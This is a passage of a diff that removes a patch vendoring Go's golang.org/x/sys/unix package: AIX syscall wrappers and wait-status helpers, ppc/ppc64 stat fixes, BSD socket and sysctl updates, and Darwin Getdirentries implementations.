-+ return
-+}
-+
-+/*
-+ * Wait
-+ */
-+
-+type WaitStatus uint32
-+
-+func (w WaitStatus) Stopped() bool { return w&0x40 != 0 }
-+func (w WaitStatus) StopSignal() Signal {
-+ if !w.Stopped() {
-+ return -1
-+ }
-+ return Signal(w>>8) & 0xFF
-+}
-+
-+func (w WaitStatus) Exited() bool { return w&0xFF == 0 }
-+func (w WaitStatus) ExitStatus() int {
-+ if !w.Exited() {
-+ return -1
-+ }
-+ return int((w >> 8) & 0xFF)
-+}
-+
-+func (w WaitStatus) Signaled() bool { return w&0x40 == 0 && w&0xFF != 0 }
-+func (w WaitStatus) Signal() Signal {
-+ if !w.Signaled() {
-+ return -1
-+ }
-+ return Signal(w>>16) & 0xFF
-+}
-+
-+func (w WaitStatus) Continued() bool { return w&0x01000000 != 0 }
-+
-+func (w WaitStatus) CoreDump() bool { return w&0x80 == 0x80 }
-+
-+func (w WaitStatus) TrapCause() int { return -1 }
-+
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
-+// fcntl must never be called with cmd=F_DUP2FD because it doesn't work on AIX
-+// There is no way to create a custom fcntl and to keep //sys fcntl easily,
-+// Therefore, the programmer must call dup2 instead of fcntl in this case.
-+
-+// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
-+//sys FcntlInt(fd uintptr, cmd int, arg int) (r int,err error) = fcntl
-+
-+// FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
-+//sys FcntlFlock(fd uintptr, cmd int, lk *Flock_t) (err error) = fcntl
-+
-+//sys fcntl(fd int, cmd int, arg int) (val int, err error)
-+
-+/*
-+ * Direct access
-+ */
-+
-+//sys Acct(path string) (err error)
-+//sys Chdir(path string) (err error)
-+//sys Chroot(path string) (err error)
-+//sys Close(fd int) (err error)
-+//sys Dup(oldfd int) (fd int, err error)
-+//sys Exit(code int)
-+//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
-+//sys Fchdir(fd int) (err error)
-+//sys Fchmod(fd int, mode uint32) (err error)
-+//sys Fchmodat(dirfd int, path string, mode uint32, flags int) (err error)
-+//sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
-+//sys Fdatasync(fd int) (err error)
-+//sys Fsync(fd int) (err error)
-+// readdir_r
-+//sysnb Getpgid(pid int) (pgid int, err error)
-+
-+//sys Getpgrp() (pid int)
-+
-+//sysnb Getpid() (pid int)
-+//sysnb Getppid() (ppid int)
-+//sys Getpriority(which int, who int) (prio int, err error)
-+//sysnb Getrusage(who int, rusage *Rusage) (err error)
-+//sysnb Getsid(pid int) (sid int, err error)
-+//sysnb Kill(pid int, sig Signal) (err error)
-+//sys Klogctl(typ int, buf []byte) (n int, err error) = syslog
-+//sys Mkdir(dirfd int, path string, mode uint32) (err error)
-+//sys Mkdirat(dirfd int, path string, mode uint32) (err error)
-+//sys Mkfifo(path string, mode uint32) (err error)
-+//sys Mknod(path string, mode uint32, dev int) (err error)
-+//sys Mknodat(dirfd int, path string, mode uint32, dev int) (err error)
-+//sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
-+//sys Open(path string, mode int, perm uint32) (fd int, err error) = open64
-+//sys Openat(dirfd int, path string, flags int, mode uint32) (fd int, err error)
-+//sys read(fd int, p []byte) (n int, err error)
-+//sys Readlink(path string, buf []byte) (n int, err error)
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
-+//sys Setdomainname(p []byte) (err error)
-+//sys Sethostname(p []byte) (err error)
-+//sysnb Setpgid(pid int, pgid int) (err error)
-+//sysnb Setsid() (pid int, err error)
-+//sysnb Settimeofday(tv *Timeval) (err error)
-+
-+//sys Setuid(uid int) (err error)
-+//sys Setgid(uid int) (err error)
-+
-+//sys Setpriority(which int, who int, prio int) (err error)
-+//sys Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error)
-+//sys Sync()
-+//sysnb Times(tms *Tms) (ticks uintptr, err error)
-+//sysnb Umask(mask int) (oldmask int)
-+//sysnb Uname(buf *Utsname) (err error)
-+//sys Unlink(path string) (err error)
-+//sys Unlinkat(dirfd int, path string, flags int) (err error)
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
-+//sys write(fd int, p []byte) (n int, err error)
-+//sys readlen(fd int, p *byte, np int) (n int, err error) = read
-+//sys writelen(fd int, p *byte, np int) (n int, err error) = write
-+
-+//sys Dup2(oldfd int, newfd int) (err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = posix_fadvise64
-+//sys Fchown(fd int, uid int, gid int) (err error)
-+//sys fstat(fd int, stat *Stat_t) (err error)
-+//sys fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = fstatat
-+//sys Fstatfs(fd int, buf *Statfs_t) (err error)
-+//sys Ftruncate(fd int, length int64) (err error)
-+//sysnb Getegid() (egid int)
-+//sysnb Geteuid() (euid int)
-+//sysnb Getgid() (gid int)
-+//sysnb Getuid() (uid int)
-+//sys Lchown(path string, uid int, gid int) (err error)
-+//sys Listen(s int, n int) (err error)
-+//sys lstat(path string, stat *Stat_t) (err error)
-+//sys Pause() (err error)
-+//sys Pread(fd int, p []byte, offset int64) (n int, err error) = pread64
-+//sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = pwrite64
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
-+//sys Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error)
-+//sysnb Setregid(rgid int, egid int) (err error)
-+//sysnb Setreuid(ruid int, euid int) (err error)
-+//sys Shutdown(fd int, how int) (err error)
-+//sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error)
-+//sys stat(path string, statptr *Stat_t) (err error)
-+//sys Statfs(path string, buf *Statfs_t) (err error)
-+//sys Truncate(path string, length int64) (err error)
-+
-+//sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-+//sys connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-+//sysnb getgroups(n int, list *_Gid_t) (nn int, err error)
-+//sysnb setgroups(n int, list *_Gid_t) (err error)
-+//sys getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error)
-+//sys setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error)
-+//sysnb socket(domain int, typ int, proto int) (fd int, err error)
-+//sysnb socketpair(domain int, typ int, proto int, fd *[2]int32) (err error)
-+//sysnb getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)
-+//sysnb getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)
-+//sys recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error)
-+//sys sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error)
-+
-+// In order to use msghdr structure with Control, Controllen, nrecvmsg and nsendmsg must be used.
-+//sys recvmsg(s int, msg *Msghdr, flags int) (n int, err error) = nrecvmsg
-+//sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error) = nsendmsg
-+
-+//sys munmap(addr uintptr, length uintptr) (err error)
-+
-+var mapper = &mmapper{
-+ active: make(map[*byte][]byte),
-+ mmap: mmap,
-+ munmap: munmap,
-+}
-+
-+func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) {
-+ return mapper.Mmap(fd, offset, length, prot, flags)
-+}
-+
-+func Munmap(b []byte) (err error) {
-+ return mapper.Munmap(b)
-+}
-+
-+//sys Madvise(b []byte, advice int) (err error)
-+//sys Mprotect(b []byte, prot int) (err error)
-+//sys Mlock(b []byte) (err error)
-+//sys Mlockall(flags int) (err error)
-+//sys Msync(b []byte, flags int) (err error)
-+//sys Munlock(b []byte) (err error)
-+//sys Munlockall() (err error)
-+
-+//sysnb pipe(p *[2]_C_int) (err error)
-+
-+func Pipe(p []int) (err error) {
-+ if len(p) != 2 {
-+ return EINVAL
-+ }
-+ var pp [2]_C_int
-+ err = pipe(&pp)
-+ p[0] = int(pp[0])
-+ p[1] = int(pp[1])
-+ return
-+}
-+
-+//sys poll(fds *PollFd, nfds int, timeout int) (n int, err error)
-+
-+func Poll(fds []PollFd, timeout int) (n int, err error) {
-+ if len(fds) == 0 {
-+ return poll(nil, 0, timeout)
-+ }
-+ return poll(&fds[0], len(fds), timeout)
-+}
-+
-+//sys gettimeofday(tv *Timeval, tzp *Timezone) (err error)
-+//sysnb Time(t *Time_t) (tt Time_t, err error)
-+//sys Utime(path string, buf *Utimbuf) (err error)
-+
-+//sys Getsystemcfg(label int) (n uint64)
-+
-+//sys umount(target string) (err error)
-+func Unmount(target string, flags int) (err error) {
-+ if flags != 0 {
-+ // AIX doesn't have any flags for umount.
-+ return ENOSYS
-+ }
-+ return umount(target)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_aix_ppc.go b/vendor/golang.org/x/sys/unix/syscall_aix_ppc.go
-new file mode 100644
-index 00000000..b3c8e330
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_aix_ppc.go
-@@ -0,0 +1,54 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix
-+// +build ppc
-+
-+package unix
-+
-+//sysnb Getrlimit(resource int, rlim *Rlimit) (err error) = getrlimit64
-+//sysnb Setrlimit(resource int, rlim *Rlimit) (err error) = setrlimit64
-+//sys Seek(fd int, offset int64, whence int) (off int64, err error) = lseek64
-+
-+//sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-+
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
-+}
-+
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
-+}
-+
-+func (iov *Iovec) SetLen(length int) {
-+ iov.Len = uint32(length)
-+}
-+
-+func (msghdr *Msghdr) SetControllen(length int) {
-+ msghdr.Controllen = uint32(length)
-+}
-+
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
-+}
-+
-+func Fstat(fd int, stat *Stat_t) error {
-+ return fstat(fd, stat)
-+}
-+
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) error {
-+ return fstatat(dirfd, path, stat, flags)
-+}
-+
-+func Lstat(path string, stat *Stat_t) error {
-+ return lstat(path, stat)
-+}
-+
-+func Stat(path string, statptr *Stat_t) error {
-+ return stat(path, statptr)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_aix_ppc64.go b/vendor/golang.org/x/sys/unix/syscall_aix_ppc64.go
-new file mode 100644
-index 00000000..9a6e0241
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_aix_ppc64.go
-@@ -0,0 +1,85 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix
-+// +build ppc64
-+
-+package unix
-+
-+//sysnb Getrlimit(resource int, rlim *Rlimit) (err error)
-+//sysnb Setrlimit(resource int, rlim *Rlimit) (err error)
-+//sys Seek(fd int, offset int64, whence int) (off int64, err error) = lseek
-+
-+//sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) = mmap64
-+
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
-+}
-+
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int64(sec), Usec: int32(usec)}
-+}
-+
-+func (iov *Iovec) SetLen(length int) {
-+ iov.Len = uint64(length)
-+}
-+
-+func (msghdr *Msghdr) SetControllen(length int) {
-+ msghdr.Controllen = uint32(length)
-+}
-+
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
-+}
-+
-+// In order to only have Timespec structure, type of Stat_t's fields
-+// Atim, Mtim and Ctim is changed from StTimespec to Timespec during
-+// ztypes generation.
-+// On ppc64, Timespec.Nsec is an int64 while StTimespec.Nsec is an
-+// int32, so the fields' value must be modified.
-+func fixStatTimFields(stat *Stat_t) {
-+ stat.Atim.Nsec >>= 32
-+ stat.Mtim.Nsec >>= 32
-+ stat.Ctim.Nsec >>= 32
-+}
-+
-+func Fstat(fd int, stat *Stat_t) error {
-+ err := fstat(fd, stat)
-+ if err != nil {
-+ return err
-+ }
-+ fixStatTimFields(stat)
-+ return nil
-+}
-+
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) error {
-+ err := fstatat(dirfd, path, stat, flags)
-+ if err != nil {
-+ return err
-+ }
-+ fixStatTimFields(stat)
-+ return nil
-+}
-+
-+func Lstat(path string, stat *Stat_t) error {
-+ err := lstat(path, stat)
-+ if err != nil {
-+ return err
-+ }
-+ fixStatTimFields(stat)
-+ return nil
-+}
-+
-+func Stat(path string, statptr *Stat_t) error {
-+ err := stat(path, statptr)
-+ if err != nil {
-+ return err
-+ }
-+ fixStatTimFields(statptr)
-+ return nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_bsd.go b/vendor/golang.org/x/sys/unix/syscall_bsd.go
-index c2846b32..68605db6 100644
---- a/vendor/golang.org/x/sys/unix/syscall_bsd.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_bsd.go
-@@ -34,7 +34,7 @@ func Getgroups() (gids []int, err error) {
- return nil, nil
- }
-
-- // Sanity check group count. Max is 16 on BSD.
-+ // Sanity check group count. Max is 16 on BSD.
- if n < 0 || n > 1000 {
- return nil, EINVAL
- }
-@@ -63,15 +63,6 @@ func Setgroups(gids []int) (err error) {
- return setgroups(len(a), &a[0])
- }
-
--func ReadDirent(fd int, buf []byte) (n int, err error) {
-- // Final argument is (basep *uintptr) and the syscall doesn't take nil.
-- // 64 bits should be enough. (32 bits isn't even on 386). Since the
-- // actual system call is getdirentries64, 64 is a good guess.
-- // TODO(rsc): Can we use a single global basep for all calls?
-- var base = (*uintptr)(unsafe.Pointer(new(uint64)))
-- return Getdirentries(fd, buf, base)
--}
--
- // Wait status is 7 bits at bottom, either 0 (exited),
- // 0x7F (stopped), or a signal number that caused an exit.
- // The 0x80 bit is whether there was a core dump.
-@@ -86,6 +77,7 @@ const (
- shift = 8
-
- exited = 0
-+ killed = 9
- stopped = 0x7F
- )
-
-@@ -112,6 +104,8 @@ func (w WaitStatus) CoreDump() bool { return w.Signaled() && w&core != 0 }
-
- func (w WaitStatus) Stopped() bool { return w&mask == stopped && syscall.Signal(w>>shift) != SIGSTOP }
-
-+func (w WaitStatus) Killed() bool { return w&mask == killed && syscall.Signal(w>>shift) != SIGKILL }
-+
- func (w WaitStatus) Continued() bool { return w&mask == stopped && syscall.Signal(w>>shift) == SIGSTOP }
-
- func (w WaitStatus) StopSignal() syscall.Signal {
-@@ -206,7 +200,7 @@ func (sa *SockaddrDatalink) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), SizeofSockaddrDatalink, nil
- }
-
--func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
-+func anyToSockaddr(fd int, rsa *RawSockaddrAny) (Sockaddr, error) {
- switch rsa.Addr.Family {
- case AF_LINK:
- pp := (*RawSockaddrDatalink)(unsafe.Pointer(rsa))
-@@ -243,7 +237,7 @@ func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
- break
- }
- }
-- bytes := (*[10000]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
-+ bytes := (*[len(pp.Path)]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
- sa.Name = string(bytes)
- return sa, nil
-
-@@ -286,7 +280,7 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
- Close(nfd)
- return 0, nil, ECONNABORTED
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -306,50 +300,21 @@ func Getsockname(fd int) (sa Sockaddr, err error) {
- rsa.Addr.Family = AF_UNIX
- rsa.Addr.Len = SizeofSockaddrUnix
- }
-- return anyToSockaddr(&rsa)
-+ return anyToSockaddr(fd, &rsa)
- }
-
- //sysnb socketpair(domain int, typ int, proto int, fd *[2]int32) (err error)
-
--func GetsockoptByte(fd, level, opt int) (value byte, err error) {
-- var n byte
-- vallen := _Socklen(1)
-- err = getsockopt(fd, level, opt, unsafe.Pointer(&n), &vallen)
-- return n, err
--}
--
--func GetsockoptInet4Addr(fd, level, opt int) (value [4]byte, err error) {
-- vallen := _Socklen(4)
-- err = getsockopt(fd, level, opt, unsafe.Pointer(&value[0]), &vallen)
-- return value, err
--}
--
--func GetsockoptIPMreq(fd, level, opt int) (*IPMreq, error) {
-- var value IPMreq
-- vallen := _Socklen(SizeofIPMreq)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
--}
--
--func GetsockoptIPv6Mreq(fd, level, opt int) (*IPv6Mreq, error) {
-- var value IPv6Mreq
-- vallen := _Socklen(SizeofIPv6Mreq)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
--}
--
--func GetsockoptIPv6MTUInfo(fd, level, opt int) (*IPv6MTUInfo, error) {
-- var value IPv6MTUInfo
-- vallen := _Socklen(SizeofIPv6MTUInfo)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
--}
--
--func GetsockoptICMPv6Filter(fd, level, opt int) (*ICMPv6Filter, error) {
-- var value ICMPv6Filter
-- vallen := _Socklen(SizeofICMPv6Filter)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
-+// GetsockoptString returns the string value of the socket option opt for the
-+// socket associated with fd at the given socket level.
-+func GetsockoptString(fd, level, opt int) (string, error) {
-+ buf := make([]byte, 256)
-+ vallen := _Socklen(len(buf))
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&buf[0]), &vallen)
-+ if err != nil {
-+ return "", err
-+ }
-+ return string(buf[:vallen-1]), nil
- }
-
- //sys recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error)
-@@ -385,7 +350,7 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
- recvflags = int(msg.Flags)
- // source address is only specified if the socket is unconnected
- if rsa.Addr.Family != AF_UNSPEC {
-- from, err = anyToSockaddr(&rsa)
-+ from, err = anyToSockaddr(fd, &rsa)
- }
- return
- }
-@@ -448,8 +413,6 @@ func Kevent(kq int, changes, events []Kevent_t, timeout *Timespec) (n int, err e
- return kevent(kq, change, len(changes), event, len(events), timeout)
- }
-
--//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
--
- // sysctlmib translates name to mib number and appends any additional args.
- func sysctlmib(name string, args ...int) ([]_C_int, error) {
- // Translate name to mib number.
-@@ -547,6 +510,23 @@ func SysctlRaw(name string, args ...int) ([]byte, error) {
- return buf[:n], nil
- }
-
-+func SysctlClockinfo(name string) (*Clockinfo, error) {
-+ mib, err := sysctlmib(name)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ n := uintptr(SizeofClockinfo)
-+ var ci Clockinfo
-+ if err := sysctl(mib, (*byte)(unsafe.Pointer(&ci)), &n, nil, 0); err != nil {
-+ return nil, err
-+ }
-+ if n != SizeofClockinfo {
-+ return nil, EIO
-+ }
-+ return &ci, nil
-+}
-+
- //sys utimes(path string, timeval *[2]Timeval) (err error)
-
- func Utimes(path string, tv []Timeval) error {
-@@ -570,7 +550,12 @@ func UtimesNano(path string, ts []Timespec) error {
- if len(ts) != 2 {
- return EINVAL
- }
-- err := utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
-+ // Darwin setattrlist can set nanosecond timestamps
-+ err := setattrlistTimes(path, ts, 0)
-+ if err != ENOSYS {
-+ return err
-+ }
-+ err = utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
- if err != ENOSYS {
- return err
- }
-@@ -590,6 +575,10 @@ func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
- if len(ts) != 2 {
- return EINVAL
- }
-+ err := setattrlistTimes(path, ts, flags)
-+ if err != ENOSYS {
-+ return err
-+ }
- return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)
- }
-
-@@ -605,7 +594,14 @@ func Futimes(fd int, tv []Timeval) error {
- return futimes(fd, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
- }
-
--//sys fcntl(fd int, cmd int, arg int) (val int, err error)
-+//sys poll(fds *PollFd, nfds int, timeout int) (n int, err error)
-+
-+func Poll(fds []PollFd, timeout int) (n int, err error) {
-+ if len(fds) == 0 {
-+ return poll(nil, 0, timeout)
-+ }
-+ return poll(&fds[0], len(fds), timeout)
-+}
-
- // TODO: wrap
- // Acct(name nil-string) (err error)
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go b/vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go
-new file mode 100644
-index 00000000..6a15cba6
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go
-@@ -0,0 +1,29 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,go1.12,!go1.13
-+
-+package unix
-+
-+import (
-+ "unsafe"
-+)
-+
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ // To implement this using libSystem we'd need syscall_syscallPtr for
-+ // fdopendir. However, syscallPtr was only added in Go 1.13, so we fall
-+ // back to raw syscalls for this func on Go 1.12.
-+ var p unsafe.Pointer
-+ if len(buf) > 0 {
-+ p = unsafe.Pointer(&buf[0])
-+ } else {
-+ p = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(p), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ return n, errnoErr(e1)
-+ }
-+ return n, nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin.1_13.go b/vendor/golang.org/x/sys/unix/syscall_darwin.1_13.go
-new file mode 100644
-index 00000000..f911617b
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin.1_13.go
-@@ -0,0 +1,101 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,go1.13
-+
-+package unix
-+
-+import "unsafe"
-+
-+//sys closedir(dir uintptr) (err error)
-+//sys readdir_r(dir uintptr, entry *Dirent, result **Dirent) (res Errno)
-+
-+func fdopendir(fd int) (dir uintptr, err error) {
-+ r0, _, e1 := syscall_syscallPtr(funcPC(libc_fdopendir_trampoline), uintptr(fd), 0, 0)
-+ dir = uintptr(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fdopendir_trampoline()
-+
-+//go:linkname libc_fdopendir libc_fdopendir
-+//go:cgo_import_dynamic libc_fdopendir fdopendir "/usr/lib/libSystem.B.dylib"
-+
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ // Simulate Getdirentries using fdopendir/readdir_r/closedir.
-+ // We store the number of entries to skip in the seek
-+ // offset of fd. See issue #31368.
-+ // It's not the full required semantics, but should handle the case
-+ // of calling Getdirentries or ReadDirent repeatedly.
-+ // It won't handle assigning the results of lseek to *basep, or handle
-+ // the directory being edited underfoot.
-+ skip, err := Seek(fd, 0, 1 /* SEEK_CUR */)
-+ if err != nil {
-+ return 0, err
-+ }
-+
-+ // We need to duplicate the incoming file descriptor
-+ // because the caller expects to retain control of it, but
-+ // fdopendir expects to take control of its argument.
-+ // Just Dup'ing the file descriptor is not enough, as the
-+ // result shares underlying state. Use Openat to make a really
-+ // new file descriptor referring to the same directory.
-+ fd2, err := Openat(fd, ".", O_RDONLY, 0)
-+ if err != nil {
-+ return 0, err
-+ }
-+ d, err := fdopendir(fd2)
-+ if err != nil {
-+ Close(fd2)
-+ return 0, err
-+ }
-+ defer closedir(d)
-+
-+ var cnt int64
-+ for {
-+ var entry Dirent
-+ var entryp *Dirent
-+ e := readdir_r(d, &entry, &entryp)
-+ if e != 0 {
-+ return n, errnoErr(e)
-+ }
-+ if entryp == nil {
-+ break
-+ }
-+ if skip > 0 {
-+ skip--
-+ cnt++
-+ continue
-+ }
-+ reclen := int(entry.Reclen)
-+ if reclen > len(buf) {
-+ // Not enough room. Return for now.
-+ // The counter will let us know where we should start up again.
-+ // Note: this strategy for suspending in the middle and
-+ // restarting is O(n^2) in the length of the directory. Oh well.
-+ break
-+ }
-+ // Copy entry into return buffer.
-+ s := struct {
-+ ptr unsafe.Pointer
-+ siz int
-+ cap int
-+ }{ptr: unsafe.Pointer(&entry), siz: reclen, cap: reclen}
-+ copy(buf, *(*[]byte)(unsafe.Pointer(&s)))
-+ buf = buf[reclen:]
-+ n += reclen
-+ cnt++
-+ }
-+ // Set the seek offset of the input fd to record
-+ // how many files we've already returned.
-+ _, err = Seek(fd, cnt, 0 /* SEEK_SET */)
-+ if err != nil {
-+ return n, err
-+ }
-+
-+ return n, nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin.go b/vendor/golang.org/x/sys/unix/syscall_darwin.go
-index ad74a11f..9a5a6ee5 100644
---- a/vendor/golang.org/x/sys/unix/syscall_darwin.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin.go
-@@ -13,7 +13,7 @@
- package unix
-
- import (
-- errorspkg "errors"
-+ "errors"
- "syscall"
- "unsafe"
- )
-@@ -36,6 +36,7 @@ func Getwd() (string, error) {
- return "", ENOTSUP
- }
-
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Len uint8
- Family uint8
-@@ -54,7 +55,7 @@ func nametomib(name string) (mib []_C_int, err error) {
-
- // NOTE(rsc): It seems strange to set the buffer to have
- // size CTL_MAXNAME+2 but use only CTL_MAXNAME
-- // as the size. I don't know why the +2 is here, but the
-+ // as the size. I don't know why the +2 is here, but the
- // kernel uses +2 for its own implementation of this function.
- // I am scared that if we don't include the +2 here, the kernel
- // will silently write 2 words farther than we specify
-@@ -88,7 +89,6 @@ func direntNamlen(buf []byte) (uint64, bool) {
- return readInt(buf, unsafe.Offsetof(Dirent{}.Namlen), unsafe.Sizeof(Dirent{}.Namlen))
- }
-
--//sys ptrace(request int, pid int, addr uintptr, data uintptr) (err error)
- func PtraceAttach(pid int) (err error) { return ptrace(PT_ATTACH, pid, 0, 0) }
- func PtraceDetach(pid int) (err error) { return ptrace(PT_DETACH, pid, 0, 0) }
-
-@@ -109,7 +109,7 @@ type attrList struct {
-
- func getAttrList(path string, attrList attrList, attrBuf []byte, options uint) (attrs [][]byte, err error) {
- if len(attrBuf) < 4 {
-- return nil, errorspkg.New("attrBuf too small")
-+ return nil, errors.New("attrBuf too small")
- }
- attrList.bitmapCount = attrBitMapCount
-
-@@ -119,17 +119,8 @@ func getAttrList(path string, attrList attrList, attrBuf []byte, options uint) (
- return nil, err
- }
-
-- _, _, e1 := Syscall6(
-- SYS_GETATTRLIST,
-- uintptr(unsafe.Pointer(_p0)),
-- uintptr(unsafe.Pointer(&attrList)),
-- uintptr(unsafe.Pointer(&attrBuf[0])),
-- uintptr(len(attrBuf)),
-- uintptr(options),
-- 0,
-- )
-- if e1 != 0 {
-- return nil, e1
-+ if err := getattrlist(_p0, unsafe.Pointer(&attrList), unsafe.Pointer(&attrBuf[0]), uintptr(len(attrBuf)), int(options)); err != nil {
-+ return nil, err
- }
- size := *(*uint32)(unsafe.Pointer(&attrBuf[0]))
-
-@@ -145,12 +136,12 @@ func getAttrList(path string, attrList attrList, attrBuf []byte, options uint) (
- for i := uint32(0); int(i) < len(dat); {
- header := dat[i:]
- if len(header) < 8 {
-- return attrs, errorspkg.New("truncated attribute header")
-+ return attrs, errors.New("truncated attribute header")
- }
- datOff := *(*int32)(unsafe.Pointer(&header[0]))
- attrLen := *(*uint32)(unsafe.Pointer(&header[4]))
- if datOff < 0 || uint32(datOff)+attrLen > uint32(len(dat)) {
-- return attrs, errorspkg.New("truncated results; attrBuf too small")
-+ return attrs, errors.New("truncated results; attrBuf too small")
- }
- end := uint32(datOff) + attrLen
- attrs = append(attrs, dat[datOff:end])
-@@ -162,6 +153,8 @@ func getAttrList(path string, attrList attrList, attrBuf []byte, options uint) (
- return
- }
-
-+//sys getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error)
-+
- //sysnb pipe() (r int, w int, err error)
-
- func Pipe(p []int) (err error) {
-@@ -179,14 +172,141 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- _p0 = unsafe.Pointer(&buf[0])
- bufsize = unsafe.Sizeof(Statfs_t{}) * uintptr(len(buf))
- }
-- r0, _, e1 := Syscall(SYS_GETFSSTAT64, uintptr(_p0), bufsize, uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = e1
-+ return getfsstat(_p0, bufsize, flags)
-+}
-+
